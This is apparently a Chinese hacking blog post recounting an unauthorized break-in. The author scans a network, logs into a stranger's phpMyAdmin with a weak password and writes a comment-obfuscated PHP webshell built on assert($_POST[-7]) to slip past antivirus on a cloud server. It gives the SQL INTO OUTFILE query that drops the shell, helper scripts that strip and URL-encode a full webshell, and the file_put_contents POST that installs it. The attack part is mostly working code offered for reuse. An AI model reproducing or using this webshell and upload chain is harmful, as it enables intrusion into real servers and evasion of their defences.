解讀木馬GetShell的另類姿勢(shì)
0×00 工欲善其事,必先利其器
其實(shí)吧,之前是想寫一長(zhǎng)篇小說的,把整個(gè)過程詳細(xì)的寫一遍,怕各位看官拍磚,轉(zhuǎn)了話風(fēng) ……
中間件:
XAMPP(能運(yùn)行PHP程序即可)
武器:
Chrome瀏覽器、Proxy SwitchySharp代理插件、Advanced REST client插件(核武器)
函數(shù):
file_put_contents()、urlencode()、urldecode()、php_strip_whitespace() -- PHP函數(shù)
0×01 上小馬
掃C段時(shí)發(fā)現(xiàn)一機(jī)器有phpMyAdmin服務(wù),就嘗試了一下弱口令,root123果斷進(jìn)入,然后就開始了下面的故事。
探測(cè)IP為阿里云服務(wù)器,普通的一句話木馬一寫入就被殺掉,后改為混淆一句話木馬:
- <?php
- @$_='s'.'s'./*-/*-*/'e'./*-/*-*/'r';
- @$_=/*-/*-*/'a'./*-/*-*/$_./*-/*-*/'t';
- @$_/*-/*-*/($/*-/*-*/{'_P'./*-/*-*/'OS'./*-/*-*/'T'}
- [/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);
- //密碼-7
- ?>
一句話木馬原形:
- assert($_POST[-7]);
寫入一句話木馬SQL(網(wǎng)站路徑從phpinfo.php獲得,其它姿勢(shì)亦可):
- use test;
- drop table if exists temp;
- create table temp (cmd text NOT NULL);
- insert into temp (cmd) values("<?php @$_='s'.'s'./*-/*-*/'e'./*-/*-*/'r'; @$_=/*-/*-*/'a'./*-/*-*/$_./*-/*-*/'t'; @$_/*-/*-*/($/*-/*-*/{'_P'./*-/*-*/'OS'./*-/*-*/'T'} [/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?> ");
- select cmd from temp into outfile 'D:/phpStudy/WWW/phpMyAdmin/indxe.php';
- drop table if exists temp;
0×02 處理大馬
用菜刀連接一句話木馬,連接上后即提示"連接被重置",估計(jì)是屏蔽了本機(jī)的出口IP,用VPN、切換代理后同樣的問題還是會(huì)即時(shí)出現(xiàn),所以放棄用菜刀上傳webshell,嘗試手工post的方法。
這里需要先確定下服務(wù)器上file_put_contents()函數(shù)是否執(zhí)行,可行的話再執(zhí)行下面的操作。
首先在本地把大馬處理好以便于作為post參數(shù):
用到了strip_whitespace()函數(shù)【返回已刪除PHP注釋以及空白字符的源代碼文件】,urlencode()函數(shù)【對(duì)字符串進(jìn)行url編碼處理】,file_get_contents()函數(shù)【讀取txt文件內(nèi)容】。
C盤根目錄下需要放一個(gè)strip_shell.php文件(待strip_whitespace的php大馬),新建strip.php文件和urlencode.php文件,兩文件內(nèi)容分別為(注意兩個(gè)函數(shù)參數(shù)):
- strip.php:
- <?php
- echo php_strip_whitespace('strip_shell.php');
- ?>
- urlencode.php:
- <?php
- echo urlencode(file_get_contents('urlencode_shell.php'));
- ?>
執(zhí)行過程如下(注意文件名稱變化和執(zhí)行順序):
所有文件如下:
其中urldecode.php文件為最終處理的文件,文件內(nèi)容如下:
0×03 GetShell
最后請(qǐng)出主角Advanced REST client插件,長(zhǎng)這樣:
這里只需用到POST方法,上面一句話小馬的密碼為-7,即這里Payload模塊的key為-7,參數(shù)重要部分如下:
- file_put_contents("D:/phpStudy/WWW/phpMyAdmin/mysqlx.php",urldecode("復(fù)制urldecode.php文件所有內(nèi)容"));
最后POST表單如下:
至此,成功GetShell,有錯(cuò)誤或好的建議請(qǐng)指正提出。